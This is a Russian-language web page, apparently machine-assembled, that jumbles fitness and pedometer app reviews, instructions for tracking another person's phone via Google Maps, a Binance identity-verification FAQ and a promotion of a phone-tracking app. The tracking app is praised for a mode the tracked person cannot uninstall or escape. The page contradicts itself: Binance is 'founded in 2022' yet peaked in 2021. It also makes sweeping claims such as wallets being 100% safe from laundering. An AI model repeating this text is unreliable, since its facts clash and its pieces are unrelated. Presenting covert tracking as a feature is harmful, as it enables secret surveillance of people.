Спорт — безусловно выгоднейшее вложение сил и времени, и если вы ищете простой и минималистичный инструмент мониторинга своей активности, то «Мои треки» вам прекрасно подойдёт.

My Tracks | Google Play Store (free)

Способ 1: через google maps

Простой и удобный вариант, требующий, чтобы на руках был телефон человека, за которым вы хотите следить. Например, мобильник ребенка. Не пугайтесь незнакомого названия приложения, на самом деле это обычная программа Google Карты, установленная почти у каждого пользователя.

Если у вас ее нет – переходим по ссылке и скачиваем, а после устанавливаем стандартным способом.

Теперь открываем вкладку настроек, расположенную слева и кликаем по «Передача геоданных». Появляется окно, предлагающее сообщать друзьям ваше месторасположение. Вы можете указать конкретное время отслеживания или включить постоянное.

После того, как провели эту небольшую настройку, нажимаем на «Еще» и выбираем, с каких именно сервисов за вами смогут следить. Это и контакты, и Bluetooth-соединение, и социальные сети. Теперь в выбранный вами чат отправится сообщение с ссылкой на отслеживание.

Способ 2: через историю местоположений «хронология»

Неплохой способ, если вы хотите следить именно за собственным передвижением. Опять же вся процедура проводится с помощью учетной записи Гугл. Открываем приложение «Карты», вновь вызываем меню, расположившееся с левой стороны экрана. Кликаем «Хронология».

Появляется новое окно, сообщающее, что хронология создается на основе мест, которые вы посещаете. Это своеобразный «файл», сохраняющий ваши маршруты. Что это дает? Прежде всего, возможность расширенного поиска и автоматический подбор пути. Если вас все устраивает – нажимаем «Начать».

Теперь внизу возникает небольшое меню, где начинает определяться ваше текущее местоположение. Если оно верное – жмем «Сейчас здесь». Все последующие места будут сохраняться автоматически.

Фитнес-трекер для бега adidas running

Скачиваний: 50 000 000

Раньше это приложение называлось Runtastic, но в результате ребрендинга «превратилось» в adidas Running. Внутри — ключевые функции бегового GPS-трекера. Приложение отследит дистанцию, время, скорость, набор высоты, маршрут и потраченные калории. Статистику по тренировкам можно посмотреть в разделе «Прогресс», где будет отдельный список тренировок и статистическая диаграмма по всем занятиям.

В разделе «Сообщество» есть возможность участвовать в виртуальных соревнованиях, вступать в клубы и подписываться на друзей. Сообщества adidas Runners есть во многих городах мира, при этом участники клубов не только проводят совместные тренировки, но и участвуют вместе в разнообразных активностях. Ваши тренировки и занятия ваших друзей будут отображаться в новостной ленте приложения, где также есть раздел «Блог» с полезными статьями — правда, только на английском языке.

Приложение adidas Running имеет полноценный беговой функционал. В режиме «Тренировка», кроме стандартной записи трека, отображения времени, дистанции и темпа, можно также включить подбадривающие опции «Музыка» и «Голос тренера». Для онлайн-отслеживания подписчиками вашей тренировки можно активировать функцию «Live-забег».

Приложение adidas Running оптимизировано для Android Wear 2.0, интегрировано с My Fitness Pal, Suunto, Polar, Coros и Garmin Connect.

Часто задаваемые вопросы

Как приложение считает шаги и от чего зависит точность?

По принципу действия шагомеры делятся на два подвида:

  • использующие модуль GPS;
  • анализирующие данные акселерометра.

Акселерометр — датчик положения в пространстве, обеспечивающий подсчет шагов. Присутствует в телефоне, если изображение можно перевернуть.

GPS модуль определяет координаты при помощи полученных со спутника данных. Полученная точность невысока. Кроме того, при включенном GPS телефон быстро разряжается.

В современных устройствах используются утилиты, подсчитывающие шаги и расстояние при помощи акселерометров.

Если поместить смартфон на шнуре на шею — точность уменьшится из-за колебаний. В кармане погрешность не превысит 10%.

Какая польза от шагомера на телефоне?

Утилита контролирует тренировки, мотивируя на новые цели. Приложение для смартфона, оснащенное счетчиком, заменяет профессиональный шагомер.

Часто задаваемые вопросы (faq)

Почему я не могу пройти проверку лица даже после загрузки нужного документа?

Это одна из распространенных проблем при проверке личности. Убедитесь, что вы не носите никаких очков, избегаете фильтров и освещение подходящее. Если проблема не исчезла, проверьте, загрузив свое селфи. Ваше селфи подтвердит вашу личность.

Что делать, если кто-то вторгается в вашу частную жизнь?

Если вы заметили какие-либо незаконные действия в своем кошельке, вы можете напрямую обратиться в службу поддержки. Служба поддержки Binance работает круглосуточно и без выходных. Проконсультируйтесь с вашей проблемой, и они немедленно ответят вам.

После решения вашей проблемы подтвердите свою личность, приложив документ.

Какие цифровые активы Binance предлагает потребителям?

Binance предлагает потребителю более 500 токенов и цифровых валют. Кроме того, торговая модель – от криптовалюты к криптовалюте.

Как Binance защищает ваши деньги от отмывания денег?

Ваш кошелек на Binance на 100% защищен от отмывания денег. У него есть политика по борьбе с отмыванием денег, которая защищает ваши деньги. KYC внимательно следит за вашей денежной активностью.

Когда я завершу свою идентификацию, как долго мне придется ждать значок безопасности?

После завершения процесса идентификации вы должны подождать 7-10 дней для получения значка безопасности. После этого вы получите электронное письмо, а значок отобразится на вашем экране.

Часто задаваемые вопросы:

1. В каких случаях нужно предоставлять дополнительные документы?

В редких случаях, когда селфи пользователя не соответствует предоставленным документам, удостоверяющим личность, требуется предоставить дополнительные документы и ожидать результатов верификации в ручном режиме. Обратите внимание: верификация в ручном режиме может занять несколько дней.

2. Каковы будут мои дневные лимиты на вывод средств после завершения подтверждения личности?

Binance регулярно проводит обзор своих продуктов и услуг для внесения необходимых изменений и улучшений. Чтобы узнать о новых лимитах на снятие средств, см. страницу «Подтверждение личности».

Все новые пользователи должны пройти «Промежуточную» верификацию, чтобы получить доступ к продуктам и предложениям услуг Binance, включая торговлю, ввод и вывод криптовалют. У существующих пользователей, которые не прошли промежуточную проверку, права доступа к аккаунту будут изменены на «Только вывод» , а из услуг будут доступны только: вывод средств, отмена ордеров, закрытие позиций и изъятие средств. Дополнительную информацию можно найти в нашем анонсе .

3. Зачем нужно проходить расширенную верификацию?

Если вы хотите увеличить свои лимиты на покупку и продажу криптовалюты или разблокировать дополнительные функции аккаунта, вам необходимо пройти «Расширенную верификацию». Следуйте инструкциям ниже:

Введите свой адрес и нажмите «Продолжить».

Загрузите документ, подтверждающий ваш адрес. Это может быть выписка из вашего банковского счета или счет за коммунальные услуги. Нажмите «Подтвердить» для отправки.

Вы снова окажетесь в разделе «Подтверждение личности» и увидите статус проверки «На рассмотрении». Пожалуйста, дождитесь одобрения заявки.

Криптовалютная биржа Binance является самой популярной в России и мире по многим показателям. Одним из таких является безопасность трейдеров. За это отвечает двухфакторная аутентификация бинанс, как пройти ее на бинансе в 2021 году расскажем в этой инструкции.

Шагомер для ходьбы и бега

Преимущества

Недостатки

— используется только акселерометр

— не считает шаги в спящем режиме

— не обновляется с 2022 года

Данный продукт отслеживает двигательную активность (включая бег и ходьбу), сохраняет полученную информацию за весь период и представляет ее в графическом виде.

  • Для подсчитывания дистанции используется акселерометр (вместо GPS), что позволяет работать с ним на крытых стадионах и спортплощадках, экономя заряд батареи.
  • Работает при выключенном экране телефона, однако в некоторых android-устройствах это может ухудшить точность данных.
  • Имеется доступ к ручной настройке чувствительности шагомера с учетом местоположения телефона во время ходьбы или бега (в сумке, в кармане и т.п.).
  • Поддерживает все общеизвестные единицы измерения.
  • Устанавливается и работает бесплатно, отображает рекламу.

Явно: с помощью программы where’s my droid

Отличная утилита, лучшая в своем роде. Есть в свободном доступе в Магазине Гугл. Базовая, начальная версия совершенно бесплатна, но ее функционал немного ужат и ограничен:

  • Поиск смартфона по включенномуGPS;
  • Уведомление, если пользователь сменил номер телефона;
  • Поиск телефона по вибрации;
  • Оповещение, если у отслеживаемого пользователя низкий заряд батареи.

Расширенная модификация вмещает намного больше полезных опций, но за нее придется заплатить.Для начала настоятельно рекомендуем попробовать демо-версию! А теперь ознакомимся с особенностями премиум-программы:

  • Внутренний модуль камеры, позволяющий дистанционно сделать снимок. Так вы можете, например, узнать лицо грабителя или мошенника.
  • Возможность «вечной» программы. Довольно специфическое название, обозначающее, что человек не сможет удалить утилиту со своего смартфона и прекратить отслеживание за ним.
  • Очистка всех материалов с девайса, начиная с внутренней памяти и заканчивая внешним хранилищем.

Итоги

С биржей Binance удобно работать, здесь развитая инфраструктура и практически отсутствует риск скама. Соответствие требованиям биржи обязательно. Перед началом процедуры верификации стоит дополнительно изучить опубликованную на официальном сайте инструкцию.

Правила совершения финансовым операций в мире часто меняются в связи с общей борьбой с криминалом, терроризмом и отмыванием валюты, поэтому возможно появление изменений и дополнительных требований. Сейчас не нужно гадать, нужна ли верификация на бирже Binance, необходимо только выбрать ее форму и пользоваться всеми предоставленными возможностями.

Тарас С. Частный инвестор, предприниматель, блогер. Инвестирую с 2008 года. Зарабатываю в интернете на высокодоходных проектах, криптовалютах, IPO, акциях и других активах. Со-владелец нескольких ресторанов и сети магазинов электронной техники. Консультирую партнеров, делюсь опытом.

Присоединяйся в Telegram-канал блога со свежими новостями. Чат с консультантом в Телеграм.

Binance – ведущая в мире платформа для обмена криптовалютой на Мальте. Эта компания была основана в 2022 году. За эти три года компания достигла беспрецедентного роста. В 2021 году эта биржа занимает пиковую позицию.

Криптоигры – одна из самых популярных тенденций в наши дни. По мере увеличения числа пользователей растет и спрос на торговые платформы. Согласно общему эмпирическому правилу, нельзя доверять каждой отдельной платформе.

Эта биржа гласит: «Чтобы повысить вашу безопасность и открыть неограниченное количество торговых точек, вам необходимо предоставить свое удостоверение личности».

Узнайте больше о Huawei

Оцените статью
Huawei Devices
Добавить комментарий

© 2024 Huawei Devices